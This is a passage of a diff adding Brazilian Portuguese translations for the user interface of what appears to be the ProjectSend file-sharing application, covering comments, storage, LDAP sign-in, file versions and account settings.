who can open this file, including visitors who are not logged in.": "Visível para qualquer pessoa que possa abrir este arquivo, inclusive visitantes não conectados.", + "Anyone, including visitors who are not logged in": "Qualquer pessoa, inclusive visitantes não conectados", + "Staff and clients": "Equipe e clientes", + "Staff only": "Somente a equipe", + "No files — commenting is off": "Nenhum arquivo — os comentários estão desligados", + "Only files marked as commentable": "Somente arquivos abertos a comentários", + "Public files only": "Somente arquivos públicos", + "Shared files only": "Somente arquivos compartilhados", + "(blank = inheriting the site default)": "(em branco = herda o padrão do site)", + "(blank = unlimited, no site default is set)": "(em branco = ilimitado, não há padrão definido para o site)", + "(deleted file)": "(arquivo excluído)", + ":authorName commented on \":fileName\"": ":authorName comentou em \":fileName\"", + ":authorName commented on \":fileName\" and is waiting for approval": ":authorName comentou em \":fileName\" e aguarda aprovação", + ":count comments": ":count comentários", + ":count file updated.|:count files updated.": ":count arquivo atualizado.|:count arquivos atualizados.", + ":count waiting for approval": ":count aguardando aprovação", + ":guest commented on the file \":subject\"": ":guest comentou no arquivo \":subject\"", + ":name — files": ":name — arquivos", + ":updated of :requested selected files were updated. The rest were skipped because you don't have permission to edit them.": ":updated dos :requested arquivos selecionados foram atualizados. Os demais foram ignorados porque você não tem permissão para editá-los.", + "A bold header built around your logo — pairs with the Gallery look for a polished, on-brand inbox.": "Um cabeçalho marcante construído em torno da sua logo — combina com o visual Gallery para uma caixa de entrada caprichada e fiel à marca.", + "Access": "Acesso", + "Access key": "Chave de acesso", + "Accounts covered by this setting may only upload files whose extension is on the allowed list below.": "As contas sujeitas a esta configuração só podem enviar arquivos cuja extensão esteja na lista permitida abaixo.", + "A clean, neutral layout that works well for any kind of file sharing.": "Um layout limpo e neutro, que funciona bem para qualquer tipo de compartilhamento de arquivos.", + "A comment from someone who is not logged in stays hidden until a moderator approves it.": "O comentário de alguém que não está conectado fica oculto até que um moderador o aprove.", + "A comment is waiting for approval": "Um comentário aguarda aprovação", + "Activity history for :name": "Histórico de atividades de :name", + "A daily task permanently deletes files past their expiration date and grace period below.": "Uma tarefa diária exclui definitivamente os arquivos que passaram da data de validade e do período de carência abaixo.", + "A daily task permanently deletes local orphan files older than the grace period below.": "Uma tarefa diária exclui definitivamente os arquivos órfãos locais mais antigos que o período de carência abaixo.", + "Add categories": "Adicionar categorias", + "Adds an \"Everyone\" option when commenting on a file that is publicly visible. Without this, comments only ever reach people who are logged in.": "Acrescenta a opção \"Todos\" ao comentar em um arquivo visível publicamente. Sem isso, os comentários só chegam a pessoas conectadas.", + "A dense, spreadsheet-style list that fits more files on screen — best for large collections and frequent uploaders.": "Uma lista densa, no estilo planilha, que mostra mais arquivos na tela — ideal para coleções grandes e envios frequentes.", + "A full-width photo grid built for visual browsing — the best choice for photographers and image-heavy collections.": "Uma grade de fotos em largura total, pensada para navegação visual — a melhor escolha para fotógrafos e coleções cheias de imagens.", + "Allow clients to add files to this folder from their portal.": "Permitir que clientes adicionem arquivos a esta pasta pelo portal deles.", + "Allow comments on this file": "Permitir comentários neste arquivo", + "Allowed file extensions": "Extensões de arquivo permitidas", + "Allow public comments": "Permitir comentários públicos", + "and :count more": "e mais :count", + "Anonymous": "Anônimo", + "Anonymous downloads": "Downloads anônimos", + "Applied to any client without their own custom quota, including self-registered ones. Set to 0 for no default (unlimited unless a client has their own limit).": "Vale para todo cliente sem cota própria, inclusive os que se cadastram sozinhos. Use 0 para não definir padrão (ilimitado, a menos que o cliente tenha um limite próprio).", + "A public group's page is always reachable by its own link once you mark it public — this page only controls the base URL and an optional directory listing every public group and file at once.": "A página de um grupo público fica sempre acessível pelo próprio link assim que você o marca como público — esta página controla apenas a URL base e um diretório opcional que lista de uma vez todos os grupos e arquivos públicos.", + "A reset link will be sent if the account exists.": "Se a conta existir, um link de redefinição será enviado.", + "A spacious, colorful layout inspired by cloud storage apps, with clear file-type icons and generous spacing.": "Um layout amplo e colorido, inspirado nos aplicativos de armazenamento em nuvem, com ícones claros de tipo de arquivo e espaçamento generoso.", + "A stripped-down, understated design with no extra styling — pairs with the Compact look.": "Um design enxuto e discreto, sem enfeites — combina com o visual Compact.", + "Auto approve new accounts": "Aprovar novas contas automaticamente", + "Automatically delete expired files": "Excluir arquivos expirados automaticamente", + "Automatically delete orphan files": "Excluir arquivos órfãos automaticamente", + "A visitor commented on a file": "Um visitante comentou em um arquivo", + "Awaiting approval": "Aguardando aprovação", + "Back": "Voltar", + "Be careful when changing this list — it can affect the security of this installation.": "Tenha cuidado ao alterar esta lista — ela pode afetar a segurança desta instalação.", + "Blank = inherit the site default (currently :default MB). Set a value to give this client their own limit.": "Em branco = herda o padrão do site (atualmente :default MB). Informe um valor para dar a este cliente um limite próprio.", + "Blank = unlimited (no site default is set). Set a value to give this client their own limit.": "Em branco = ilimitado (não há padrão definido para o site). Informe um valor para dar a este cliente um limite próprio.", + "Blue accents and clean structure inspired by cloud storage apps — pairs with the Drive look.": "Toques de azul e estrutura limpa, inspirados nos aplicativos de armazenamento em nuvem — combina com o visual Drive.", + "Branding": "Identidade visual", + "Bucket": "Bucket", + "Bulk edit :count files": "Editar :count arquivos em lote", + "by": "por", + "Change at least one field before applying a bulk edit.": "Altere pelo menos um campo antes de aplicar uma edição em lote.", + "Check for updates": "Verificar atualizações", + "Client access": "Acesso dos clientes", + "Client downloads": "Downloads dos clientes", + "Clients can register themselves": "Os clientes podem se cadastrar sozinhos", + "Clients only": "Somente clientes", + "Comment approved.": "Comentário aprovado.", + "Comment deleted.": "Comentário excluído.", + "Comments": "Comentários", + "Comments are closed on this file.": "Os comentários deste arquivo estão encerrados.", + "Comments already written stay readable even if a file stops accepting new ones.": "Os comentários já escritos continuam legíveis mesmo que o arquivo deixe de aceitar novos.", + "Comments awaiting approval": "Comentários aguardando aprovação", + "Comment settings": "Configurações de comentários", + "Comments left by visitors who are not logged in. Nobody can see them until you approve them.": "Comentários deixados por visitantes não conectados. Ninguém consegue vê-los até que você os aprove.", + "Connect an external S3-compatible bucket (AWS S3, MinIO, or another S3-compatible service) as the storage backend for new uploads.": "Conecte um bucket externo compatível com S3 (AWS S3, MinIO ou outro serviço compatível) como armazenamento dos novos envios.", + "Custom endpoint": "Endpoint personalizado", + "Custom field created.": "Campo personalizado criado.", + "Custom field deleted.": "Campo personalizado excluído.", + "Custom field updated.": "Campo personalizado atualizado.", + "Custom range": "Período personalizado", + "Default storage quota (MB)": "Cota de armazenamento padrão (MB)", + "Delete account?": "Excluir a conta?", + "Delete failed job?": "Excluir a tarefa com falha?", + "Delete them permanently": "Excluí-los definitivamente", + "Delete this comment?": "Excluir este comentário?", + "Delete this many days after being found": "Excluir depois desta quantidade de dias após ser encontrado", + "Delete this many days after expiry": "Excluir depois desta quantidade de dias após a validade", + "Download :name": "Baixar :name", + "Downloaded by": "Baixado por", + "Download history": "Histórico de downloads", + "Download history for :name": "Histórico de downloads de :name", + "Duration": "Duração", + "Each file has a \"Allow comments\" switch on its edit page. Only files with it turned on accept comments.": "Cada arquivo tem a chave \"Permitir comentários neste arquivo\" na sua página de edição. Só os arquivos com ela ligada aceitam comentários.", + "edited": "editado", + "Editing window (minutes)": "Janela de edição (minutos)", + "Email settings saved.": "Configurações de e-mail salvas.", + "Error": "Erro", + "Every download, newest first": "Todos os downloads, do mais recente ao mais antigo", + "Every download across the installation, newest first": "Todos os downloads da instalação, do mais recente ao mais antigo", + "Every recorded action, newest first": "Todas as ações registradas, da mais recente à mais antiga", + "Expiration": "Validade", + "Expired :date": "Expirou em :date", + "Expired only": "Somente expirados", + "Extension, e.g. pdf": "Extensão, por ex. pdf", + "Failed at": "Falhou em", + "Failed job deleted.": "Tarefa com falha excluída.", + "Failed jobs": "Tarefas com falha", + "Failed to connect: :error": "Falha na conexão: :error", + "File retention": "Retenção de arquivos", + "File retention settings": "Configurações de retenção de arquivos", + "Files accessible to :name": "Arquivos acessíveis a :name", + "Files sitting on disk with no matching record — an interrupted upload, a restore, manual filesystem access": "Arquivos presentes no disco sem registro correspondente — um envio interrompido, uma restauração, acesso manual ao sistema de arquivos", + "Files that accept comments": "Arquivos que aceitam comentários", + "Filters": "Filtros", + "Folder renamed.": "Pasta renomeada.", + "Folders": "Pastas", + "Grid view": "Visualização em grade", + "Hold comments from visitors for approval": "Reter os comentários de visitantes para aprovação", + "How long after posting someone can still edit or delete their own comment. Set to 0 to never allow it.": "Por quanto tempo após publicar alguém ainda pode editar ou excluir o próprio comentário. Use 0 para nunca permitir.", + "How long an expired file is kept before it is permanently deleted. 0 deletes it the same day it expires.": "Por quanto tempo um arquivo expirado é mantido antes de ser excluído definitivamente. 0 o exclui no mesmo dia em que expira.", + "How long an orphan file is kept before it is permanently deleted. 0 deletes it the same day it is first found.": "Por quanto tempo um arquivo órfão é mantido antes de ser excluído definitivamente. 0 o exclui no mesmo dia em que é encontrado.", + "IP address": "Endereço IP", + "Job queued for retry.": "Tarefa recolocada na fila para nova tentativa.", + "Language: :language": "Idioma: :language", + "Last month": "Mês passado", + "Last ran": "Última execução", + "Last week": "Semana passada", + "Leave blank for AWS S3. Set this to use an S3-compatible service such as MinIO or Backblaze.": "Deixe em branco para o AWS S3. Preencha para usar um serviço compatível com S3, como MinIO ou Backblaze.", + "Leave empty for a file that never expires.": "Deixe em branco para um arquivo que nunca expira.", + "Limit file types uploading to": "Limitar os tipos de arquivo no envio para", + "List view": "Visualização em lista", + "Make this folder public. Every file inside it — now and later, at any depth — becomes public too.": "Tornar esta pasta pública. Todo arquivo dentro dela — agora e depois, em qualquer nível — também fica público.", + "Message": "Mensagem", + "Moving": "Movendo", + "Never run": "Nunca executada", + "Next cleanup :date": "Próxima limpeza em :date", + "No accounts match \":search\".": "Nenhuma conta corresponde a \":search\".", + "Nobody (no restriction)": "Ninguém (sem restrição)", + "No comments yet.": "Ainda não há comentários.", + "No expired files.": "Nenhum arquivo expirado.", + "No extensions added yet.": "Ainda não há extensões adicionadas.", + "No failed jobs.": "Nenhuma tarefa com falha.", + "No files match these filters.": "Nenhum arquivo corresponde a estes filtros.", + "None of the selected files could be edited.": "Nenhum dos arquivos selecionados pôde ser editado.", + "Nothing is waiting for approval.": "Não há nada aguardando aprovação.", + "of :count": "de :count", + "of :quota": "de :quota", + "on": "em", + "Only the fields you change here are applied — everything else is left as-is.": "Somente os campos que você alterar aqui são aplicados — todo o resto permanece como está.", + "Only uploads made after this backend is activated are affected. Files already stored locally stay there and keep working — there is no migration between backends.": "Só são afetados os envios feitos depois que este armazenamento for ativado. Os arquivos já guardados localmente permanecem lá e continuam funcionando — não existe migração entre armazenamentos.", + "Open public page": "Abrir a página pública", + "Optional. Confines uploads to a subfolder within the bucket.": "Opcional. Restringe os envios a uma subpasta dentro do bucket.", + "Orphan auto-delete only ever operates on local storage, so it stays off while external storage is active — even if it was previously enabled.": "A exclusão automática de órfãos só atua no armazenamento local, então fica desligada enquanto o armazenamento externo estiver ativo — mesmo que antes estivesse ligada.", + "Orphan files": "Arquivos órfãos", + "Outgoing email is sent through a centrally managed relay for cloud accounts. You can still choose the From address and name shown to recipients.": "Nas contas em nuvem, os e-mails saem por um relay gerenciado de forma centralizada. Você ainda pode escolher o endereço e o nome de remetente exibidos aos destinatários.", + "Page": "Página", + "Path prefix": "Prefixo do caminho", + "Pending": "Pendente", + "Periodically checks projectsend.org's public repository for a newer release and shows a notice on the dashboard. Nothing is ever downloaded or applied automatically.": "Verifica periodicamente se o repositório público do projectsend.org tem uma versão mais nova e mostra um aviso no painel. Nada é baixado ou aplicado automaticamente.", + "Permanently failed": "Falhou definitivamente", + "Post comment": "Publicar comentário", + "Preview of :name": "Prévia de :name", + "Previous month": "Mês anterior", + "ProjectSend's classic email look — simple and neutral, and pairs well with any public/portal theme.": "O visual clássico de e-mail do ProjectSend — simples e neutro, combina bem com qualquer tema público ou de portal.", + "ProjectSend :version is available": "O ProjectSend :version está disponível", + "Public folder": "Pasta pública", + "Published :date": "Publicado em :date", + "Queue": "Fila", + "Reassign them to another account": "Reatribuí-los a outra conta", + "Region": "Região", + "Remove a category": "Remover uma categoria", + "Remove categories": "Remover categorias", + "Rename folder": "Renomear pasta", + "Required by most S3-compatible services (MinIO, etc). Leave off for AWS S3.": "Exigido pela maioria dos serviços compatíveis com S3 (MinIO etc.). Deixe desligado para o AWS S3.", + "Requires Upload files": "Requer \"Enviar arquivos\"", + "Retry": "Tentar novamente", + "Root": "Raiz", + "Scheduler": "Agendador", + "Scheduler settings": "Configurações do agendador", + "Search accounts…": "Buscar contas…", + "Search and filter": "Buscar e filtrar", + "Secret key": "Chave secreta", + "Select files to bulk-edit them": "Selecione arquivos para editá-los em lote", + "Sender identity": "Identidade do remetente", + "Set to…": "Definir como…", + "Share": "Compartilhar", + "Shared with client": "Compartilhado com o cliente", + "Shared with me": "Compartilhados comigo", + "Sharing a folder shares everything inside it, now and later. Manage sharing from the edit page.": "Compartilhar uma pasta compartilha tudo o que há nela, agora e depois. Gerencie o compartilhamento pela página de edição.", + "Someone commented on a file": "Alguém comentou em um arquivo", + "Sort by": "Ordenar por", + "Storage settings": "Configurações de armazenamento", + "Storage settings saved.": "Configurações de armazenamento salvas.", + "Success: connected to bucket \":bucket\".": "Sucesso: conectado ao bucket \":bucket\".", + "Task": "Tarefa", + "Test connection": "Testar conexão", + "Test result": "Resultado do teste", + "This account owns :files file(s) and :folders folder(s). What should happen to them?": "Esta conta é dona de :files arquivo(s) e :folders pasta(s). O que deve acontecer com eles?", + "This cannot be undone.": "Não é possível desfazer.", + "This client has no accessible files yet.": "Este cliente ainda não tem arquivos acessíveis.", + "This deletion is permanent": "Esta exclusão é definitiva", + "This file is public because it's inside the public folder \":name\".": "Este arquivo é público porque está dentro da pasta pública \":name\".", + "This folder cannot be deleted: it holds :count file you did not upload.|This folder cannot be deleted: it holds :count files you did not upload.": "Esta pasta não pode ser excluída: ela contém :count arquivo que não foi enviado por você.|Esta pasta não pode ser excluída: ela contém :count arquivos que não foram enviados por você.", + "This removes it from the failed jobs list without retrying it.": "Isso a remove da lista de tarefas com falha sem tentar novamente.", + "Total size": "Tamanho total", + "To update, run:": "Para atualizar, execute:", + "Unavailable while external storage is active": "Indisponível enquanto o armazenamento externo estiver ativo", + "Unlike an expired file, an orphan has no database row to soft-delete — there is no undo once it's gone.": "Diferentemente de um arquivo expirado, um órfão não tem registro no banco para exclusão reversível — depois que some, não há como voltar atrás.", + "Unlimited storage": "Armazenamento ilimitado", + "Update :count files": "Atualizar :count arquivos", + "Uploaded and shared": "Enviado e compartilhado", + "Uploaded by client": "Enviado pelo cliente", + "Uploaded by me": "Enviado por mim", + "Uploaded by the client, or assigned to them directly, via a group, or via a shared folder.": "Enviado pelo cliente, ou atribuído a ele diretamente, por um grupo ou por uma pasta compartilhada.", + "Uploading into \":name\".": "Enviando para \":name\".", + "Upload settings saved.": "Configurações de envio salvas.", + "Upload settings saved. Warning: :extensions can be dangerous to allow — only keep them on the list if you understand the risk.": "Configurações de envio salvas. Atenção: permitir :extensions pode ser perigoso — só mantenha na lista se você entender o risco.", + "used": "utilizado", + "Used in the public folder URL.": "Usado na URL da pasta pública.", + "Use external storage for new uploads": "Usar armazenamento externo para novos envios", + "Use path-style addressing": "Usar endereçamento por caminho", + "View all downloads (:count)": "Ver todos os downloads (:count)", + "View full history (:count)": "Ver o histórico completo (:count)", + "View release notes": "Ver as notas da versão", + "View release notes on GitHub": "Ver as notas da versão no GitHub", + "Visitor": "Visitante", + "Visitors who are not logged in can only write public comments, so this has no effect until you allow public comments below.": "Visitantes não conectados só podem escrever comentários públicos, então isto não tem efeito até você permitir comentários públicos abaixo.", + "What happens to a file once it expires, or once one turns up unclaimed on disk": "O que acontece com um arquivo depois que ele expira, ou quando aparece sem dono no disco", + "Where": "Onde", + "Whether scheduled tasks are actually running, and any queued email that failed to send": "Se as tarefas agendadas estão mesmo rodando, e quais e-mails na fila não puderam ser enviados", + "Who can comment on files, and which files accept comments": "Quem pode comentar nos arquivos e quais arquivos aceitam comentários", + "Who can see this": "Quem pode ver isto", + "Who can write a comment": "Quem pode escrever um comentário", + "Write a comment…": "Escreva um comentário…", + "You cannot grant permissions your own role does not have: :permissions": "Você não pode conceder permissões que a sua própria função não tem: :permissions", + "You need upload permission to create folders": "Você precisa de permissão de envio para criar pastas", + "Your comment will be reviewed before it appears.": "Seu comentário será analisado antes de aparecer.", + "Your name": "Seu nome", + "— No change —": "— Sem alteração —", + "Newest first": "Mais recentes primeiro", + "Oldest first": "Mais antigos primeiro", + "Name (A–Z)": "Nome (A–Z)", + "Name (Z–A)": "Nome (Z–A)", + "Largest first": "Maiores primeiro", + "Smallest first": "Menores primeiro", + "Transfers": "Transferências", + "Top clients by storage": "Principais clientes por armazenamento", + "Largest files": "Maiores arquivos", + "Expired files": "Arquivos expirados", + "A private note. Nobody else can read it, staff included.": "Uma nota privada. Mais ninguém pode lê-la, nem a equipe.", + "Reply": "Responder", + "Replying to :name": "Respondendo a :name", + "The team working on this file. No client ever sees it.": "A equipe que trabalha neste arquivo. Nenhum cliente vê isso.", + "With :name": "Com :name", + "Your reply goes to :name only, and to staff.": "Sua resposta vai apenas para :name e para a equipe.", + "Your reply goes to the same people as the comment above.": "Sua resposta vai para as mesmas pessoas do comentário acima.", + "Public comments are turned off for this site.": "Os comentários públicos estão desligados neste site.", + "Only a file that is publicly visible can have public comments.": "Somente um arquivo visível publicamente pode ter comentários públicos.", + "The team, and everyone this file is shared with. Clients cannot see each other.": "A equipe e todas as pessoas com quem este arquivo é compartilhado. Os clientes não veem uns aos outros.", + "Everyone above, plus anyone who opens this file without logging in.": "Todas as pessoas acima, mais qualquer um que abra este arquivo sem entrar.", + "Not signed in": "Não conectado", + "New comment on \":name\"": "Novo comentário em \":name\"", + ":author commented on \":name\".": ":author comentou em \":name\".", + ":author commented on \":name\"": ":author comentou em \":name\"", + "Read the comment": "Ler o comentário", + ":count new comments": ":count novos comentários", + "There are :count new comments for you:": "Há :count novos comentários para você:", + "Someone": "Alguém", + "New comment on a file": "Novo comentário em um arquivo", + "Multiple new comments (digest)": "Vários comentários novos (resumo)", + "Marked the file \":subject\" as a revision of \":previous\"": "Marcou o arquivo \":subject\" como revisão de \":previous\"", + "Removed the version link from the file \":subject\"": "Removeu o vínculo de versão do arquivo \":subject\"", + "A file was marked as a revision of another": "Um arquivo foi marcado como revisão de outro", + "A file version link was removed": "Um vínculo de versão foi removido", + "A newer version of a file I have is available": "Há uma versão mais recente de um arquivo que eu tenho", + "A newer version of \":previousName\" is available: :itemName": "Há uma versão mais recente de \":previousName\": :itemName", + "A newer version of a file you have is available": "Há uma versão mais recente de um arquivo que você tem", + "\":previous\" has been replaced by a newer version: \":name\".": "\":previous\" foi substituído por uma versão mais recente: \":name\".", + ":count files you have were replaced by newer versions": ":count arquivos que você tem foram substituídos por versões mais recentes", + "Newer versions of the following :count files are available:": "Há versões mais recentes dos :count arquivos a seguir:", + ":previous → :name": ":previous → :name", + "A file cannot be a revision of itself.": "Um arquivo não pode ser revisão de si mesmo.", + "That file is already part of this file's version history.": "Esse arquivo já faz parte do histórico de versões deste arquivo.", + "That file has already been revised by \":name\". Remove that link first.": "Esse arquivo já foi revisado por \":name\". Remova esse vínculo primeiro.", + "That file has just been revised by another file. Reload and try again.": "Esse arquivo acabou de ser revisado por outro arquivo. Recarregue a página e tente novamente.", + "This version history is too long. Remove an older link first.": "Este histórico de versões está longo demais. Remova um vínculo mais antigo primeiro.", + "That file can't be used as the previous version.": "Esse arquivo não pode ser usado como versão anterior.", + "This file is already shared with other people, so it can't be marked as a new version. Ask your contact to do it for you.": "Este arquivo já está compartilhado com outras pessoas, então não pode ser marcado como nova versão. Peça ao seu contato para fazer isso por você.", + "This file is a new version of \":name\". Manage sharing on \":name\" instead — every version follows it.": "Este arquivo é uma nova versão de \":name\". Gerencie o compartilhamento em \":name\" — toda versão acompanha esse arquivo.", + "This file is a new version of another file, and is shared with the same people as that one.": "Este arquivo é uma nova versão de outro arquivo e é compartilhado com as mesmas pessoas que ele.", + "Versions": "Versões", + "Mark this file as a newer version of something you uploaded before.": "Marque este arquivo como versão mais recente de algo que você enviou antes.", + "This version is outdated": "Esta versão está desatualizada", + "It was replaced by \":name\".": "Ela foi substituída por \":name\".", + "This file is a new version of": "Este arquivo é uma nova versão de", + "Remove link": "Remover vínculo", + "Mark as a new version": "Marcar como nova versão", + "Version history": "Histórico de versões", + "Version link removed.": "Vínculo de versão removido.", + "This file is now marked as a new version of \":name\".": "Este arquivo agora está marcado como nova versão de \":name\".", + "Share this file's recipients with the original?": "Estender os destinatários deste arquivo ao original?", + "A new version is shared with the same people as the original. These recipients of this file will be added to it, so nobody loses access:": "Uma nova versão é compartilhada com as mesmas pessoas do original. Estes destinatários deste arquivo serão adicionados a ele, para que ninguém perca o acesso:", + "No other files are available to link to.": "Não há outros arquivos disponíveis para vincular.", + "Shared through \":name\"": "Compartilhado através de \":name\"", + "This file is a new version of \":name\", so it is shared with the same people. Changing who can see it means changing that file.": "Este arquivo é uma nova versão de \":name\", por isso é compartilhado com as mesmas pessoas. Mudar quem pode vê-lo significa alterar aquele arquivo.", + "Edit sharing on \":name\"": "Editar o compartilhamento de \":name\"", + "You don't have permission to change who that file is shared with.": "Você não tem permissão para alterar com quem esse arquivo é compartilhado.", + "This is a new version of \":name\" and is shared with the same people. Manage sharing on that file.": "Esta é uma nova versão de \":name\" e é compartilhada com as mesmas pessoas. Gerencie o compartilhamento naquele arquivo.", + "New version of": "Nova versão de", + "Replaced by": "Substituído por", + "Outdated": "Desatualizado", + "New version": "Nova versão", + "Replaced by :name": "Substituído por :name", + "Replaces :name": "Substitui :name", + "There is a newer version of this file": "Há uma versão mais recente deste arquivo", + "This replaces": "Isto substitui", + "This is a new version of a file I uploaded before": "Esta é uma nova versão de um arquivo que enviei antes", + "Search your files…": "Buscar nos seus arquivos…", + "You have no earlier files that can be replaced.": "Você não tem arquivos anteriores que possam ser substituídos.", + "This file will be shared with the same people who have \":name\".": "Este arquivo será compartilhado com as mesmas pessoas que têm \":name\".", + ":name (group)": ":name (grupo)", + "Search files…": "Buscar arquivos…", + "Search…": "Buscar…", + "Searching…": "Buscando…", + "No files match \":search\".": "Nenhum arquivo corresponde a \":search\".", + "Nothing matches \":search\".": "Nada corresponde a \":search\".", + "A client account was converted to staff": "Uma conta de cliente foi convertida em conta de equipe", + "A staff account was converted to a client": "Uma conta de equipe foi convertida em conta de cliente", + "A client account was created from the directory": "Uma conta de cliente foi criada a partir do diretório", + "Converted the client account \":subject\" to staff (:role)": "Converteu a conta de cliente \":subject\" em conta de equipe (:role)", + "Converted the staff account \":subject\" to a client": "Converteu a conta de equipe \":subject\" em conta de cliente", + "Created a client account from the directory on first sign-in": "Criou uma conta de cliente a partir do diretório no primeiro acesso", + "Convert accounts": "Converter contas", + "Convert": "Converter", + "Convert to client": "Converter em cliente", + "Convert to staff": "Converter em conta de equipe", + "Convert :name to a client": "Converter :name em cliente", + "Convert :name to staff": "Converter :name em conta de equipe", + "Client → staff": "Cliente → equipe", + "Staff → client": "Equipe → cliente", + "Move an account between staff and clients. Files they uploaded are always kept.": "Mova uma conta entre equipe e clientes. Os arquivos enviados são sempre mantidos.", + "They lose access to every staff screen immediately.": "O acesso a todas as telas da equipe é perdido imediatamente.", + "They gain access to the staff screens their role allows.": "É concedido acesso às telas da equipe permitidas pela função.", + "Will be revoked": "Será revogado", + "Will be revoked and cannot be undone": "Será revogado, sem possibilidade de desfazer", + "Will be kept": "Será mantido", + "Nothing": "Nada", + "Nothing to keep": "Nada a manter", + "Converting back restores everything under \"Will be kept\". It does not restore what was revoked.": "Converter de volta restaura tudo o que está em \"Será mantido\". Não restaura o que foi revogado.", + ":files files and :folders folders they uploaded": ":files arquivos e :folders pastas enviados por esta conta", + "No accounts match these filters.": "Nenhuma conta corresponde a estes filtros.", + "Account converted to a client.": "Conta convertida em cliente.", + "Account converted to staff.": "Conta convertida em conta de equipe.", + "Approve or deny this account request before converting it.": "Aprove ou recuse esta solicitação de conta antes de convertê-la.", + "You cannot convert your own account.": "Você não pode converter a própria conta.", + "New password": "Nova senha", + "New password (optional)": "Nova senha (opcional)", + "Leave blank to keep their current password.": "Deixe em branco para manter a senha atual.", + "This account signs in through your directory. Staff accounts never do, so it needs a password here or they will not be able to sign in at all.": "Esta conta entra pelo seu diretório. Contas de equipe nunca fazem isso, então ela precisa de uma senha aqui, ou não conseguirá entrar de jeito nenhum.", + "Set a password for this account. It signs in through your directory today, and staff accounts never do.": "Defina uma senha para esta conta. Hoje ela entra pelo seu diretório, algo que contas de equipe nunca fazem.", + "Tokens created": "Tokens criados", + "Currently active": "Ativos no momento", + ":count active": ":count ativos", + "1 permission": "1 permissão", + ":count permissions": ":count permissões", + "This token carries no permissions.": "Este token não carrega nenhuma permissão.", + "This account has created API tokens before, but none are live now.": "Esta conta já criou tokens de API antes, mas nenhum está ativo agora.", + "This account has never created an API token.": "Esta conta nunca criou um token de API.", + "No longer granted to this account, so it does nothing.": "Não é mais concedida a esta conta, então não tem efeito algum.", + "Only :name can create, change or revoke these — an administrator can see them, but not manage them.": "Somente :name pode criar, alterar ou revogar estes — um administrador consegue vê-los, mas não gerenciá-los.", + "What this token is allowed to do through the API. It can never do more than :name may.": "O que este token pode fazer pela API. Ele nunca pode fazer mais do que :name.", + "LDAP": "LDAP", + "LDAP settings": "Configurações de LDAP", + "LDAP settings saved.": "Configurações de LDAP salvas.", + "Directory": "Diretório", + "Connection": "Conexão", + "Server": "Servidor", + "Base DN": "DN base", + "Service account DN": "DN da conta de serviço", + "Service account password": "Senha da conta de serviço", + "Email attribute": "Atributo de e-mail", + "Name attribute": "Atributo de nome", + "Additional filter (optional)": "Filtro adicional (opcional)", + "CA certificate path (optional)": "Caminho do certificado da AC (opcional)", + "None (unencrypted)": "Nenhuma (sem criptografia)", + "StartTLS": "StartTLS", + "LDAPS (implicit TLS)": "LDAPS (TLS implícito)", + "Allow clients to sign in with a directory account": "Permitir que clientes entrem com uma conta do diretório", + "Let clients sign in with their directory account. Staff always authenticate locally.": "Permita que os clientes entrem com a conta do diretório. A equipe sempre se autentica localmente.", + "Create an account on first sign-in": "Criar uma conta no primeiro acesso", + "Directory accounts are always created as clients, never as staff.": "As contas vindas do diretório são sempre criadas como clientes, nunca como equipe.", + "Someone in the directory with no account here gets a client account and is signed in immediately.": "Quem está no diretório mas não tem conta aqui recebe uma conta de cliente e entra imediatamente.", + "Someone in the directory with no account here gets a client account that waits in Account requests for approval.": "Quem está no diretório mas não tem conta aqui recebe uma conta de cliente que aguarda aprovação em Solicitações de conta.", + "Only people who already have an account here can sign in.": "Somente pessoas que já têm conta aqui podem entrar.", + "Combined with the address match, to narrow who may sign in.": "Combinado com a correspondência de endereço, para restringir quem pode entrar.", + "The attribute holding the address people sign in with — usually mail.": "O atributo que guarda o endereço com que as pessoas entram — normalmente mail.", + "Where in the tree to look for people.": "Onde na árvore procurar as pessoas.", + "Leave blank to search anonymously.": "Deixe em branco para pesquisar anonimamente.", + "Stored encrypted, and never shown again.": "Armazenada de forma criptografada e nunca mais exibida.", + "Stored encrypted. Leave blank to keep the current one.": "Armazenada de forma criptografada. Deixe em branco para manter a atual.", + "For a directory presenting a certificate from your own certificate authority.": "Para um diretório que apresenta um certificado da sua própria autoridade certificadora.", + "Unencrypted: the service account password and every client password cross the network in clear text.": "Sem criptografia: a senha da conta de serviço e a de cada cliente trafegam pela rede em texto puro.", + "When a client’s password is not recognised locally, it is checked against the directory. Staff accounts always authenticate locally and are never sent to it.": "Quando a senha de um cliente não é reconhecida localmente, ela é verificada no diretório. Contas de equipe sempre se autenticam localmente e nunca são enviadas a ele.", + "The PHP LDAP extension is not installed on this server, so these settings cannot take effect.": "A extensão PHP LDAP não está instalada neste servidor, então estas configurações não podem fazer efeito.", + "The PHP LDAP extension is not installed on this server.": "A extensão PHP LDAP não está instalada neste servidor.", + "Saves are not required to test — but the test uses the settings as last saved.": "Não é preciso salvar para testar — mas o teste usa as configurações como foram salvas pela última vez.", + "Test a sign-in": "Testar um acesso", + "Email address (optional)": "Endereço de e-mail (opcional)", + "Password (optional)": "Senha (opcional)", + "Connected and bound as the service account.": "Conectado e autenticado como a conta de serviço.", + "Could not connect or bind as the service account: :error": "Não foi possível conectar ou autenticar como a conta de serviço: :error", + "Found a matching entry.": "Entrada correspondente encontrada.", + "No directory entry matched that address under the base DN.": "Nenhuma entrada do diretório corresponde a esse endereço sob o DN base.", + "The directory rejected that password.": "O diretório recusou essa senha.", + "The search failed: :error": "A busca falhou: :error", + "The sign-in bind failed: :error": "A autenticação de acesso falhou: :error", + "Signed in successfully.": "Acesso realizado com sucesso.", + "1 item": "1 item", + ":count items": ":count itens", + "1 API token": "1 token de API", + ":count API tokens": ":count tokens de API", + "1 assigned client": "1 cliente atribuído", + ":count assigned clients": ":count clientes atribuídos", + "Managed by 1 staff member": "Gerenciado por 1 membro da equipe", + "Managed by :count staff members": "Gerenciado por :count membros da equipe", + "1 group membership": "1 participação em grupo", + ":count group memberships": ":count participações em grupos", + "1 file shared with them": "1 arquivo compartilhado com esta conta", + ":count files shared with them": ":count arquivos compartilhados com esta conta", + "Approve these accounts automatically": "Aprovar estas contas automaticamente", + "Your directory has already established who they are, so there is nobody to vet. Leave this off to review each one in Account requests first.": "Seu diretório já estabeleceu quem são, então não há ninguém a verificar. Deixe desligado para analisar cada um antes em Solicitações de conta.", + "Clients who register themselves are approved automatically — this setting is separate, and does not follow it.": "Os clientes que se cadastram sozinhos são aprovados automaticamente — esta configuração é independente e não segue essa regra.", + "Clients who register themselves still wait for approval — this setting is separate, and does not change that.": "Os clientes que se cadastram sozinhos continuam aguardando aprovação — esta configuração é independente e não muda isso.", + "Container filesystem": "Sistema de 